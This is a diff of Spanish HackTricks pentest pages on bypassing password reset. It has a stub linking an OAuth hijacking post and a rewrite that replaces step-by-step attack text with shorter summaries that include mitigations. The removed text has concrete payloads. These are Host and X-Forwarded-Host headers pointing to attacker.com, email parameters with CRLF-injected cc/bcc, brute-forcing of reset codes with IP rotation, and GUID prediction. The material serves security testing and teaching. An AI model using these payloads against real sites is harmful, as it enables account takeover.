<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Ver el post [https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,325 +1,156 @@
|
|||
# Omisión de Contraseña Restablecida/Olvidada
|
||||
# Bypass de Restablecimiento/Olvido de Contraseña
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
|
||||
Únete al servidor de [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
||||
**Información sobre Hacking**\
|
||||
Involúcrate con contenido que explora la emoción y los desafíos del hacking
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
|
||||
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
|
||||
|
||||
La siguiente recopilación de técnicas fue tomada de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
|
||||
## Fuga de Token de Restablecimiento de Contraseña Vía Referente
|
||||
|
||||
El **HTTP referer** es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se está solicitando. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.
|
||||
|
||||
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
||||
|
||||
### Explotación
|
||||
|
||||
* Solicita el restablecimiento de la contraseña a tu dirección de correo electrónico.
|
||||
* Haz clic en el enlace de restablecimiento de contraseña.
|
||||
* No cambies la contraseña.
|
||||
* Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter).
|
||||
* Intercepta la solicitud en el proxy de Burpsuite.
|
||||
* Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.
|
||||
|
||||
### Impacto
|
||||
|
||||
Permite a la persona que tiene control sobre un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.
|
||||
|
||||
### Referencia:
|
||||
|
||||
* https://hackerone.com/reports/342693
|
||||
* https://hackerone.com/reports/272379
|
||||
* https://hackerone.com/reports/737042
|
||||
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
||||
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
||||
|
||||
## Envenenamiento de Restablecimiento de Contraseña
|
||||
|
||||
Si encuentras un ataque de encabezado de host y está fuera de alcance, ¡intenta encontrar el botón de restablecimiento de contraseña!
|
||||
|
||||
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
||||
|
||||
### Explotación
|
||||
|
||||
* Intercepta la solicitud de restablecimiento de contraseña en Burpsuite.
|
||||
* Añade el siguiente encabezado o edita el encabezado en Burpsuite (prueba uno por uno)
|
||||
```
|
||||
Host: attacker.com
|
||||
```
|
||||
|
||||
```
|
||||
Host: target.com
|
||||
X-Forwarded-Host: attacker.com
|
||||
```
|
||||
|
||||
```
|
||||
Host: target.com
|
||||
Host: attacker.com
|
||||
```
|
||||
* Verifica si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com
|
||||
|
||||
### Solución
|
||||
|
||||
Usa `$_SERVER['SERVER_NAME']` en lugar de `$_SERVER['HTTP_HOST']`
|
||||
```php
|
||||
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
|
||||
```
|
||||
### Impacto
|
||||
|
||||
La víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic, revelará el enlace/token de restablecimiento de contraseña del usuario al atacante, lo que llevará a la toma total de la cuenta.
|
||||
|
||||
### Referencia:
|
||||
|
||||
* https://hackerone.com/reports/226659
|
||||
* https://hackerone.com/reports/167631
|
||||
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
|
||||
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
||||
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
||||
|
||||
## Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico
|
||||
|
||||
### Explotación
|
||||
|
||||
* Añadir correo electrónico del atacante como segundo parámetro usando &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
* Agregar correo electrónico del atacante como segundo parámetro utilizando %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
* Agrega el correo electrónico del atacante como segundo parámetro utilizando |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
* Agregar el correo electrónico del atacante como segundo parámetro usando cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
* Agregar correo electrónico del atacante como segundo parámetro usando bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
* Agrega el correo electrónico del atacante como segundo parámetro usando ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
* Agregar correo electrónico del atacante como segundo parámetro en el arreglo json
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
### Referencia
|
||||
|
||||
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
|
||||
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
||||
|
||||
## Cambio de Correo Electrónico y Contraseña de cualquier Usuario a través de Parámetros de la API
|
||||
|
||||
### Explotación
|
||||
|
||||
* El atacante debe iniciar sesión con su cuenta e ir a la función Cambiar contraseña
|
||||
* Iniciar Burp Suite e Intercepta la solicitud
|
||||
* Después de interceptar la solicitud, envíala al repetidor y modifica los parámetros Email y Contraseña
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
### Referencia
|
||||
|
||||
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
||||
|
||||
### Sin Límite de Tasa: Bombardeo de Correo Electrónico <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
||||
|
||||
### Explotación
|
||||
|
||||
* Inicia Burp Suite e Intercepta la solicitud de restablecimiento de contraseña
|
||||
* Enviar a intruso
|
||||
* Utilizar carga útil nula
|
||||
|
||||
### Referencia
|
||||
|
||||
* https://hackerone.com/reports/280534
|
||||
* https://hackerone.com/reports/794395
|
||||
|
||||
## Descubre Cómo se Genera el Token de Restablecimiento de Contraseña
|
||||
|
||||
Descubre el patrón del token de restablecimiento de contraseña
|
||||
|
||||
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
|
||||
|
||||
Si está
|
||||
|
||||
* Generado basado en Timestamp
|
||||
* Generado basado en el UserID
|
||||
* Generado basado en el correo electrónico del Usuario
|
||||
* Generado basado en Nombre y Apellido
|
||||
* Generado basado en Fecha de Nacimiento
|
||||
* Generado basado en Criptografía
|
||||
|
||||
Utiliza Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.
|
||||
|
||||
## GUID Adivinable
|
||||
|
||||
Existen diferentes tipos de GUIDs:
|
||||
|
||||
* **Versión 0:** Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
|
||||
* **Versión 1:** El GUID se genera de manera predecible basado en:
|
||||
* El tiempo actual
|
||||
* Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUIDs durante el tiempo de actividad del sistema generador
|
||||
* Un "ID de nodo", que se genera basado en la dirección MAC del sistema si está disponible
|
||||
* **Versión 3:** El GUID se genera utilizando un hash MD5 de un nombre y espacio de nombres proporcionados.
|
||||
* **Versión 4:** El GUID se genera aleatoriamente.
|
||||
* **Versión 5:** El GUID se genera utilizando un hash SHA1 de un nombre y espacio de nombres proporcionados.
|
||||
|
||||
Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: [**guidtool**](https://github.com/intruder-io/guidtool)****
|
||||
```http
|
||||
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
||||
UUID version: 1
|
||||
UUID time: 2021-11-17 17:52:18.141000
|
||||
UUID timestamp: 138564643381410000
|
||||
UUID node: 17547390002044
|
||||
UUID MAC address: 0f:f5:91:f2:a3:7c
|
||||
UUID clock sequence: 3426
|
||||
```
|
||||
Si la versión utilizada para generar un GUID de restablecimiento de contraseña es la versión 1, es posible forzar bruscamente los GUIDS:
|
||||
```http
|
||||
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||||
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
||||
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
||||
```
|
||||
### Referencias
|
||||
|
||||
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
||||
|
||||
## Manipulación de respuesta: Reemplazar respuesta mala por una buena
|
||||
|
||||
Busca solicitudes y respuestas como estas
|
||||
```php
|
||||
HTTP/1.1 401 Unauthorized
|
||||
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
||||
```
|
||||
Cambio de Respuesta
|
||||
```php
|
||||
HTTP/1.1 200 OK
|
||||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||||
```
|
||||
### Referencia
|
||||
|
||||
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
||||
|
||||
### Uso de Token Expirado <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
|
||||
* Verificar si el token expirado puede ser reutilizado
|
||||
|
||||
### Fuerza Bruta en Token de Restablecimiento de Contraseña <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
||||
|
||||
Intentar realizar fuerza bruta al token de restablecimiento utilizando Burpsuite
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&code=$BRUTE$
|
||||
```
|
||||
* Utiliza IP-Rotator en burpsuite para evitar el límite de tasa basado en IP.
|
||||
|
||||
### Referencia
|
||||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
### Intenta Usar Tu Token <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
||||
|
||||
* Intenta agregar tu token de restablecimiento de contraseña con la cuenta de la víctima
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&code=$YOUR_TOKEN$
|
||||
```
|
||||
### Referencia
|
||||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
## Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña
|
||||
|
||||
Cuando un usuario **cierra sesión o restablece su contraseña**, la sesión actual debería invalidarse.\
|
||||
Por lo tanto, **captura las cookies** mientras el usuario está conectado, **cierra sesión** y **verifica** si las **cookies** aún son **válidas**.\
|
||||
Repite el proceso **cambiando la contraseña** en lugar de cerrar sesión.
|
||||
|
||||
## Tiempo de Expiración del Token de Restablecimiento
|
||||
|
||||
Los **tokens de restablecimiento deben tener un tiempo de expiración**, después de este el token no debería ser válido para cambiar la contraseña de un usuario.
|
||||
|
||||
## Verificaciones Adicionales
|
||||
|
||||
* Usa username@burp\_collab.net y analiza el callback
|
||||
* Usuario copia de carbono email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* Contraseña larga (>200) conduce a DoS
|
||||
* Añade un segundo parámetro de email y valor
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
## **Fuga de Token de Restablecimiento de Contraseña a través del Referente**
|
||||
* El encabezado HTTP referer puede filtrar el token de restablecimiento de contraseña si se incluye en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
|
||||
* **Impacto**: Posible toma de control de cuenta a través de ataques de falsificación de solicitudes entre sitios (CSRF).
|
||||
* **Referencias**:
|
||||
- [Informe de HackerOne 342693](https://hackerone.com/reports/342693)
|
||||
- [Informe de HackerOne 272379](https://hackerone.com/reports/272379)
|
||||
- [Artículo de Fuga de Token de Restablecimiento de Contraseña](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Envenenamiento de Restablecimiento de Contraseña**
|
||||
* Los atacantes pueden manipular el encabezado Host durante las solicitudes de restablecimiento de contraseña para dirigir el enlace de restablecimiento a un sitio malicioso.
|
||||
* **Parche**: Utiliza `$_SERVER['SERVER_NAME']` para construir URLs de restablecimiento de contraseña en lugar de `$_SERVER['HTTP_HOST']`.
|
||||
* **Impacto**: Conduce a una posible toma de control de cuenta al filtrar tokens de restablecimiento a los atacantes.
|
||||
* **Pasos de Mitigación**:
|
||||
- Valida el encabezado Host contra una lista blanca de dominios permitidos.
|
||||
- Utiliza métodos seguros del lado del servidor para generar URLs absolutas.
|
||||
* **Referencias**:
|
||||
- [Artículo de Acunetix sobre Envenenamiento de Restablecimiento de Contraseña](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Restablecimiento de Contraseña al Manipular el Parámetro de Correo Electrónico**
|
||||
* Los atacantes pueden manipular la solicitud de restablecimiento de contraseña agregando parámetros de correo electrónico adicionales para desviar el enlace de restablecimiento.
|
||||
* **Pasos de Mitigación**:
|
||||
- Analiza y valida adecuadamente los parámetros de correo electrónico del lado del servidor.
|
||||
- Utiliza declaraciones preparadas o consultas parametrizadas para prevenir ataques de inyección.
|
||||
* **Referencias**:
|
||||
- [Toma de Control de Cuenta de Readme.com](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
|
||||
## **Cambio de Correo Electrónico y Contraseña de cualquier Usuario a través de Parámetros de API**
|
||||
* Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de API para cambiar las credenciales de la cuenta.
|
||||
* **Pasos de Mitigación**:
|
||||
- Asegura una validación estricta de parámetros y verificaciones de autenticación.
|
||||
- Implementa un registro y monitoreo robustos para detectar y responder a actividades sospechosas.
|
||||
* **Referencia**:
|
||||
- [Toma de Control Total de Cuenta a través de la Manipulación de Parámetros de API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Sin Límite de Tasa: Bombardeo de Correos Electrónicos**
|
||||
* La falta de límites de tasa en las solicitudes de restablecimiento de contraseña puede llevar a un bombardeo de correos electrónicos, abrumando al usuario con correos electrónicos de restablecimiento.
|
||||
* **Pasos de Mitigación**:
|
||||
- Implementa límites de tasa basados en la dirección IP o la cuenta de usuario.
|
||||
- Utiliza desafíos CAPTCHA para prevenir abusos automatizados.
|
||||
* **Referencias**:
|
||||
- [Informe de HackerOne 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Descubre Cómo se Genera el Token de Restablecimiento de Contraseña**
|
||||
* Comprender el patrón o método detrás de la generación de tokens puede llevar a predecir o realizar fuerza bruta en los tokens.
|
||||
* **Pasos de Mitigación**:
|
||||
- Utiliza métodos criptográficos sólidos para la generación de tokens.
|
||||
- Asegura suficiente aleatoriedad y longitud para prevenir la predictibilidad.
|
||||
* **Herramientas**: Utiliza Burp Sequencer para analizar la aleatoriedad de los tokens.
|
||||
|
||||
## **GUID Adivinable**
|
||||
* Si los GUID (por ejemplo, versión 1) son adivinables o predecibles, los atacantes pueden realizar fuerza bruta en ellos para generar tokens de restablecimiento válidos.
|
||||
* **Pasos de Mitigación**:
|
||||
- Utiliza GUID versión 4 para aleatoriedad o implementa medidas de seguridad adicionales para otras versiones.
|
||||
* **Herramientas**: Utiliza [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
|
||||
|
||||
## **Manipulación de Respuesta: Reemplazar una Mala Respuesta por una Buena**
|
||||
* Manipulación de respuestas HTTP para evadir mensajes de error o restricciones.
|
||||
* **Pasos de Mitigación**:
|
||||
- Implementa verificaciones del lado del servidor para garantizar la integridad de la respuesta.
|
||||
- Utiliza canales de comunicación seguros como HTTPS para prevenir ataques de intermediarios.
|
||||
* **Referencia**:
|
||||
- [Error Crítico en Evento de Recompensas por Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Uso de Token Expirado**
|
||||
* Probar si los tokens expirados aún pueden ser utilizados para el restablecimiento de contraseña.
|
||||
* **Pasos de Mitigación**:
|
||||
- Implementa políticas estrictas de expiración de tokens y valida la expiración del token del lado del servidor.
|
||||
|
||||
## **Fuerza Bruta en Token de Restablecimiento de Contraseña**
|
||||
* Intentar realizar fuerza bruta en el token de restablecimiento utilizando herramientas como Burpsuite e IP-Rotator para evadir límites de tasa basados en IP.
|
||||
* **Pasos de Mitigación**:
|
||||
- Implementa mecanismos robustos de limitación de tasa y bloqueo de cuentas.
|
||||
- Monitorea actividades sospechosas que indiquen ataques de fuerza bruta.
|
||||
|
||||
## **Intenta Usar tu Token**
|
||||
* Probar si el token de restablecimiento de un atacante puede ser utilizado junto con el correo electrónico de la víctima.
|
||||
* **Pasos de Mitigación**:
|
||||
- Asegura que los tokens estén vinculados a la sesión del usuario u otros atributos específicos del usuario.
|
||||
|
||||
## **Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña**
|
||||
* Asegurarse de que las sesiones se invaliden cuando un usuario cierra la sesión o restablece su contraseña.
|
||||
* **Pasos de Mitigación**:
|
||||
- Implementa una gestión adecuada de sesiones, asegurando que todas las sesiones se invaliden al cerrar la sesión o restablecer la contraseña.
|
||||
|
||||
## **Tiempo de Expiración del Token de Restablecimiento**
|
||||
* Los tokens de restablecimiento deben tener un tiempo de expiración después del cual se vuelven inválidos.
|
||||
* **Pasos de Mitigación**:
|
||||
- Establece un tiempo de expiración razonable para los tokens de restablecimiento y aplícalo estrictamente del lado del servidor.
|
||||
|
||||
## **Verificaciones Adicionales**
|
||||
* Métodos adicionales para probar vulnerabilidades, como usar formatos de correo electrónico especiales o contraseñas largas para causar un posible Denegación de Servicio (DoS).
|
||||
* **Pasos de Mitigación**:
|
||||
- Realiza validación de entrada y aplica límites de longitud para prevenir abusos.
|
||||
|
||||
# Referencias
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
Únete al servidor de [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
||||
**Información sobre Hacking**\
|
||||
Involúcrate con contenido que explora la emoción y los desafíos del hacking
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.
|
||||
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
|
||||
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
